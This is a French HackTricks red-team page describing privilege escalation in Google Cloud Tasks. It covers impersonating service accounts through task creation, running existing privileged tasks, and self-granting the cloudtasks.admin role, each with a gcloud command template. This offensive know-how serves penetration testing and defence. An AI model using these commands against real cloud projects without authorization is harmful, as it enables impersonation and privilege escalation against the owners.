GCP - Cloud Tasks Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Un attaquant disposant de ces permissions peut usurper d’autres comptes de service en créant des tâches qui s’exécutent avec l’identité du compte de service spécifié. Cela permet d’envoyer des requêtes HTTP authentifiées vers des services Cloud Run ou Cloud Functions protégés par IAM.

Créer une Cloud Task avec usurpation d'un compte de service ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Un attaquant disposant de ces permissions peut exécuter des tâches programmées existantes sans avoir de permissions sur le compte de service associé à la tâche. Cela permet d’exécuter des tâches qui ont été précédemment créées avec des comptes de service à privilèges plus élevés.

Exécuter une Cloud Task existante sans la permission actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Le principal exécutant cette commande n’a pas besoin de la permission iam.serviceAccounts.actAs sur le compte de service de la tâche. Cependant, cela ne permet d’exécuter que des tâches existantes - cela ne donne pas la possibilité de créer ou modifier des tâches.

cloudtasks.queues.setIamPolicy

Un attaquant disposant de cette permission peut s’octroyer ou accorder à d’autres principals des rôles Cloud Tasks sur des queues spécifiques, pouvant potentiellement escalader vers roles/cloudtasks.admin qui inclut la capacité de créer et d’exécuter des tâches.

Accorder le rôle Cloud Tasks admin sur une queue ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Cela permet à l’attaquant d’accorder à tout compte de service qu’il contrôle des autorisations d’administrateur Cloud Tasks complètes sur la file d’attente.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks